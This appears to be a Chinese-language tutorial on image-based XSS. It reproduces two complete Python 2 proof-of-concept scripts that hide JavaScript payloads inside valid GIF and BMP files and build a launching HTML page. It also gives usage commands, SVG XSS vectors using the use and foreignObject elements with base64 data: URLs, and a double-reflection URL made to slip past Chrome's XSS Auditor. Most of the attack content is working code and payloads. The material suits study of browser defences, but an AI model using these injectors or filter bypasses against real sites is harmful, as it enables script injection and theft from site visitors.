图片 XSS
virtualenv -p /usr/bin/python2 venv_name
source venv_name/bin/activate
# 在虚拟环境中,你可以使用 python 命令来调用 Python 2
图片 XSS
图片 XSS,简单地说,就是将 JavaScript 代码尽量插入图片的无用区域,在不影响图片显示的情况下满足 JS 代码格式从而执行图片中的 JS 代码导致 XSS。
注意:只对 IE 有效,Chrome 和 Firefox 无法触发(因为有版本限制)。
注入脚本
Gif
向 gif 文件中注入 JavaScript 的 python2 脚本:http://pastebin.com/6yUbfGX5
#!/usr/bin/env python2
#============================================================================================================#
#======= Simply injects a JavaScript Payload into a GIF. ====================================================#
#======= or it creates a JavaScript Payload as a GIF. ====================================================#
#======= The resulting GIF must be a valid (not corrupted) GIF. =============================================#
#======= Author: marcoramilli.blogspot.com ==================================================================#
#======= Version: PoC (don't even think to use it in development env.) ======================================#
#======= Disclaimer: ========================================================================================#
#THIS IS NOT PEP3 FORMATTED
#THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
#DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
#INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
#SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
#HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
#STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
#IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
#POSSIBILITY OF SUCH DAMAGE.
#===========================================================================================================#
import argparse
import os
#---------------------------------------------------------
def _hexify(num):
"""
Converts and formats to hexadecimal
"""
num = "%x" % num
if len(num) % 2:
num = '0'+num
return num.decode('hex')
#---------------------------------------------------------
def _generate_and_write_to_file(payload, fname):
"""
Generates a fake but valid GIF within scriting
"""
f = open(fname, "wb")
header = (b'\x47\x49\x46\x38\x39\x61' #Signature + Version GIF89a
b'\x2F\x2A' #Encoding /* it's a valid Logical Screen Width
b'\x0A\x00' #Smal Logical Screen Height
b'\x00' #GCTF
b'\xFF' #BackgroundColor
b'\x00' #Pixel Ratio
b'\x2C\x00\x00\x00\x00\x2F\x2A\x0A\x00\x00\x02\x00\x3B' #GlobalColorTable + Blocks
b'\x2A\x2F' #Commenting out */
b'\x3D\x31\x3B' # enable the script side by introducing =1;
)
trailer = b'\x3B'
# I made this explicit, step by step .
f.write(header)
f.write(payload)
f.write(trailer)
f.close()
return True
#---------------------------------------------------------
def _generate_launching_page(f):
"""
Creates the HTML launching page
"""
htmlpage ="""
<html>
<head><title>Opening an image</title> </head>
<body>
<img src=\"""" + f + """_malw.gif\"\>
<script src= \"""" + f + """_malw.gif\"> </script>
</body>
</html>
"""
html = open("run.html", "wb")
html.write(htmlpage);
html.close()
return True
#---------------------------------------------------------
def _inject_into_file(payload, fname):
"""
Injects the payload into existing GIF
NOTE: if the GIF contains \xFF\x2A and/or \x2A\x5C might caouse issues
"""
# I know, I can do it all in memory and much more fast.
# I wont do it here.
with open(fname + "_malw.gif", "w+b") as fout:
with open(fname, "rt") as fin:
for line in fin:
ls1 = line.replace(b'\x2A\x2F', b'\x00\x00')
ls2 = ls1.replace(b'\x2F\x2A', b'\x00\x00')
fout.write(ls2)
fout.seek(6,0)
fout.write(b'\x2F\x2A') #/*
f = open(fname + "_malw.gif", "a+b") #appending mode
f.write(b'\x2A\x2F\x3D\x31\x3B')
f.write(payload)
f.write(b'\x3B')
f.close()
return True
#---------------------------------------------------------
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("filename",help="the gif file name to be generated/or infected")
parser.add_argument("js_payload",help="the payload to be injected. For exmample: \"alert(\"test\");\"")
parser.add_argument("-i", "--inject-to-existing-gif", action="store_true", help="inject into the current gif")
args = parser.parse_args()
print("""
|======================================================================================================|
| [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal. |
| It is the end user's responsibility to obey all applicable local, state and federal laws. |
| Authors assume no liability and are not responsible for any misuse or damage caused by this program |
|======================================================================================================|
"""
)
if args.inject_to_existing_gif:
_inject_into_file(args.js_payload, args.filename)
else:
_generate_and_write_to_file(args.js_payload, args.filename)
_generate_launching_page(args.filename)
print "[+] Finished!"
Bmp
向 bmp 文件中注入 JavaScript 的 python2 脚本:http://pastebin.com/04y7ee3u
#!/usr/bin/env python2
#============================================================================================================#
#======= Simply injects a JavaScript Payload into a BMP. ====================================================#
#======= The resulting BMP must be a valid (not corrupted) BMP. =============================================#
#======= Author: marcoramilli.blogspot.com ==================================================================#
#======= Version: PoC (don't even think to use it in development env.) ======================================#
#======= Disclaimer: ========================================================================================#
#THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
#DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
#INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
#SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
#HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
#STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
#IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
#POSSIBILITY OF SUCH DAMAGE.
#===========================================================================================================#
import argparse
import os
#---------------------------------------------------------
def _hexify(num):
"""
Converts and formats to hexadecimal
"""
num = "%x" % num
if len(num) % 2:
num = '0'+num
return num.decode('hex')
#---------------------------------------------------------
#Example payload: "var _0xe428=[\""+ b'\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64' + "\"]
#;alert(_0xe428[0]);"
def _generate_and_write_to_file(payload, fname):
"""
Generates a fake but valid BMP within scriting
"""
f = open(fname, "wb")
header = (b'\x42\x4D' #Signature BM
b'\x2F\x2A\x00\x00' #Header File size, but encoded as /* <-- Yes it's a valid header
b'\x00\x00\x00\x00' #Reserved
b'\x00\x00\x00\x00' #bitmap data offset
b''+ _hexify( len(payload) ) + #bitmap header size
b'\x00\x00\x00\x14' #width 20pixel .. it's up to you
b'\x00\x00\x00\x14' #height 20pixel .. it's up to you
b'\x00\x00' #nb_plan
b'\x00\x00' #nb per pixel
b'\x00\x10\x00\x00' #compression type
b'\x00\x00\x00\x00' #image size .. its ignored
b'\x00\x00\x00\x01' #Horizontal resolution
b'\x00\x00\x00\x01' #Vertial resolution
b'\x00\x00\x00\x00' #number of colors
b'\x00\x00\x00\x00' #number important colors
b'\x00\x00\x00\x80' #palet colors to be complient
b'\x00\x80\xff\x80' #palet colors to be complient
b'\x80\x00\xff\x2A' #palet colors to be complient
b'\x2F\x3D\x31\x3B' #*/=1;
)
# I made this explicit, step by step .
f.write(header)
f.write(payload)
f.close()
return True
#---------------------------------------------------------
def _generate_launching_page(f):
"""
Creates the HTML launching page
"""
htmlpage ="""
<html>
<head><title>Opening an image</title> </head>
<body>
<img src=\"""" + f + """\"\>
<script src= \"""" + f + """\"> </script>
</body>
</html>
"""
html = open("run.html", "wb")
html.write(htmlpage);
html.close()
return True
#---------------------------------------------------------
def _inject_into_file(payload, fname):
"""
Injects the payload into existing BMP
NOTE: if the BMP contains \xFF\x2A might caouse issues
"""
# I know, I can do it all in memory and much more fast.
# I wont do it here.
f = open(fname, "r+b")
b = f.read()
b.replace(b'\x2A\x2F',b'\x00\x00')
f.close()
f = open(fname, "w+b")
f.write(b)
f.seek(2,0)
f.write(b'\x2F\x2A')
f.close()
f = open(fname, "a+b")
f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
f.write(payload)
f.close()
return True
#---------------------------------------------------------
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("filename",help="the bmp file name to be generated/or infected")
parser.add_argument("js_payload",help="the payload to be injected. For exmample: \"alert(\"test\");\"")
parser.add_argument("-i", "--inject-to-existing-bmp", action="store_true", help="inject into the current bitmap")
args = parser.parse_args()
print("""
|======================================================================================================|
| [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal. |
| It is the end user's responsibility to obey all applicable local, state and federal laws. |
| Authors assume no liability and are not responsible for any misuse or damage caused by this program |
|======================================================================================================|
""")
if args.inject_to_existing_bmp:
_inject_into_file(args.js_payload, args.filename)
else:
_generate_and_write_to_file(args.js_payload, args.filename)
_generate_launching_page(args.filename)
print "[+] Finished!"
使用
- 准备一个 gif(superman.gif) 图和 bmp(color.bmp) 图
- gif 图片插入 payload:
python gif_injector.py -i superman.gif "alert('mob');"
- bmp 图片插入 payload:
python bmp_injector.py -i color.bmp "alert(location);"
会生成两个文件,run.html & xxx.gif_malw.gif
<html>
<head><title>Opening an image</title> </head>
<body>
<img src="superman.gif_malw.gif"\>
<script src= "superman.gif_malw.gif"> </script>
</body>
</html>
bmp win7 的 IE 都没复现成功,多半是寄了。
SVG XSS
SVG 是一种基于 XML 的图像文件格式。
[Translated From]:http://insert-script.blogspot.com/2014/02/svg-fun-time-firefox-svg-vector.html
<use>
元素
SVG 中的 use 元素用于重用其他元素,主要用于联接 defs 和 alike,而我们却用它来引用外部 SVG 文件中的元素。
元素通过其 id 被引用,在 use 标签的 xlink:href
属性中以 #
井字符开头,外部元素的引用同样如此。
示例如下。
test.html
<svg>
<use xlink:href='external.svg#rectangle' />
</svg>
external.svg
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
<a xlink:href="javascript:alert(location)">
<rect x="0" y="0" width="100" height="100" />
</a>
</svg>
.svg
文件以 <svg>
标签开始,其 id 设置为 rectangle,使用 rect 标签绘一个矩形。可以使用 <a>
标签包围 <rect>
标签,从而创建一个超链接。使用 Javascript 伪协议,可点击的超链接在点击后会执行 Javascript。即使通过 <use>
标记加载 SVG,也会执行 JavaScript。需要注意的是,只能加载位于同一源的 SVG 文件。
可以看到测试结果,在 chrome 和 Firefox 下点击黑框都能弹框:
data:url+Base64
由于加载的外部 SVG 文件必须是同源的,这个特性看起来似乎无法作为有用的 XSS 攻击向量,但可以使用 data:url
协议来帮我们提升这个攻击向量。
首先,它允许我们从内部创建一个文件,要求正确的 mime-type
,在这里为 image/svg+xml
。mimie-type 后是我们的攻击载荷或关键字 base64。特别地,由于数据被 base64 编码,这有助于避免突破 HTML 结构的问题。
现在我们不必再依赖于服务器上的另一个文件了,改进一下 test.html
:
<svg>
<use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+CjxhIHhsaW5rOmhyZWY9ImphdmFzY3JpcHQ6YWxlcnQobG9jYXRpb24pIj48cmVjdCB4PSIwIiB5PSIwIiB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCIgLz48L2E+Cjwvc3ZnPg==#rectangle" />
</svg>
base64 解码后的内容为
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
<a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a>
</svg>
无需点击触发 xss
利用 <foreignObject>
元素
external.svg 中的 <script>
标签不会被解析,但是 SVG 支持 <foreignObject>
元素。通过阐述这个对象需要的扩展属性,有可能加载非 SVG 元素。这就意味着现在有可能是有 <iframe>
、<embed>
及其他所有支持的 HTML 元素了,我们可以从一堆元素中进行选择执行 Javascript,这里使用 <embed>
+JavascriptURL 协议。
test.html
新版的 Firefox 已经不生效了。
<svg>
<use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+CiAgICA8c2NyaXB0PmFsZXJ0KDEpPC9zY3JpcHQ+CiAgICA8Zm9yZWlnbk9iamVjdCB3aWR0aD0iMTAwIiBoZWlnaHQ9IjUwIgogICAgICAgICAgICAgICAgICAgcmVxdWlyZWRFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KCTxlbWJlZCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgc3JjPSJqYXZhc2NyaXB0OmFsZXJ0KGxvY2F0aW9uKSIgLz4KICAgIDwvZm9yZWlnbk9iamVjdD4KPC9zdmc+#rectangle" />
</svg>
base64 解码后的内容为
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
<script>alert(1)</script>
<foreignObject width="100" height="50"
requiredExtensions="http://www.w3.org/1999/xhtml">
<embed xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(location)" />
</foreignObject>
</svg>
可以看到,在 Firefox 下,无需点击即可触发 foreignObject
标签内 embed 的 JS 伪协议执行 JS 代码从而弹框,同时没有弹框显示 1 说明了 script
标签不会被解析:
搞个旧的 Firefox 补一下图
其他
# 嵌套 iframe,注意 xmlns="http://www.w3.org/1999/xhtml"
<foreignObject width="100" height="50" requiredExtensions="http://www.w3.org/1999/xhtml">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(location)"></iframe>
</foreignObject>
# object 标签
<foreignObject width="100" height="50" requiredExtensions="http://www.w3.org/1999/xhtml">
<object xmlns="http://www.w3.org/1999/xhtml" data="javascript:alert(location)"></object>
</foreignObject>
Link XSS Bypass Chrome
前面利用 use 元素结合 data:url
只能在 Firefox 下生效,Chrome 却不会触发。
这里可利用 link 来 bypass Chrome。
示例 test.html 如下,加密内容为 <script>alert("Hello");</script>
【成功不了,遂弃之】
<link rel="import" href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
当然 link 的形式很多,href 的地方本身就是可以插入 js 代码的,但是通过 base64 加密,可以 bypass 各种奇怪的过滤。
这里很多用到了 data 类型的 url,可参考如下:
data:,<文本数据>
data:text/plain,<文本数据>
data:text/html,<HTML 代码>
data:text/html;base64,<base64 编码的 HTML 代码>
data:text/css,<CSS 代码>
data:text/css;base64,<base64 编码的 CSS 代码>
data:text/javascript,<Javascript 代码>
data:text/javascript;base64,<base64 编码的 Javascript 代码>
data:image/gif;base64,base64 编码的 gif 图片数据
data:image/png;base64,base64 编码的 png 图片数据
data:image/jpeg;base64,base64 编码的 jpeg 图片数据
data:image/x-icon;base64,base64 编码的 icon 图片数据
结合语言参数
Chrome 不支持 <use>
标记的 xlink:href
属性内的 data:URL
方案。此外,我没有找到无需用户交互即可执行 JavaScript 的方法。但至少我可以为您提供一种通过用户交互绕过 Blink/Webkit XSS Auditor 的方法。不使用参数污染,只需要一个参数。之所以提到这一点,是因为 Blink/Webkit XSS Auditor 无法捕获 XSS 攻击,这些攻击被分解为两个或多个参数。
看一下这个 php 脚本(xss.php):
<?php
echo "<body>";
echo $_GET['x'];
echo "</body>";
?>
这个脚本存在 XSS 漏洞,但是使用下面这样的载荷则会触发 XSS Auditor:
http://site.com/xss.php?x=<svg><a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a></svg>
因此,让我们使用 <use>
元素吧
Creating the SVG on the fly
我们想加载另外的 SVG 文件,因此我们以 <svg><use xlink:href=
开始。但是等一下,它必须满足同源,我们不能使用 data 伪协议,该怎么获取服务器上的文件呢?很简单,我们在一行中两次利用 XSS 漏洞!首先,我们构建一个 URL,制作一个包含了 Javascript URL 为伪协议的 SVG。【套娃】
http://vulnerabledomain.com/xss.php?x=<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"width="100" height="100"><a xlink:href="javascript:alert(location)"><rect class="blue" x="0" y="0" width="100" height="100" /></a></svg>
如果你将整个 URL 粘贴到没有 XSS Filter 的浏览器,马上就会出现一个黑色的矩形。但是前面已经提到过,Chrome 的 XSS Auditor 会捕获这种攻击,还是继续吧:
现在我们要在 <use>
元素中使用创建的 SVG 文件,制造一个形如这样的 URL:
http://vulnerabledomain.com/xss.php?x=<svg><use height=200 width=200
xlink:href='http://vulnerabledomain.com/xss.php?x=<svg id="rectangle"xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"width="100" height="100"><a xlink:href="javascript:alert(location)"><rect class="blue" x="0" y="0" width="100" height="100"/></a></svg>#rectangle'/></svg>
进行 url 编码,这下应该会显示出矩形了,点击就会执行 alert,但是这一次没有触发 XSS Auditor 😃
http://vulnerabledomain.com/xss.php?x=%3Csvg%3E%3Cuse%20height=200%20width=200%20xlink:href=%27http://vulnerabledomain.com/xss.php?x=%3Csvg%20id%3D%22rectangle%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20%20%20%20width%3D%22100%22%20height%3D%22100%22%3E%3Ca%20xlink%3Ahref%3D%22javascript%3Aalert%28location%29%22%3E%3Crect%20class%3D%22blue%22%20x%3D%220%22%20y%3D%220%22%20width%3D%22100%22%20height%3D%22100%22%20%2F%3E%3C%2Fa%3E%3C%2Fsvg%3E%23rectangle%27/%3E%3C/svg%3E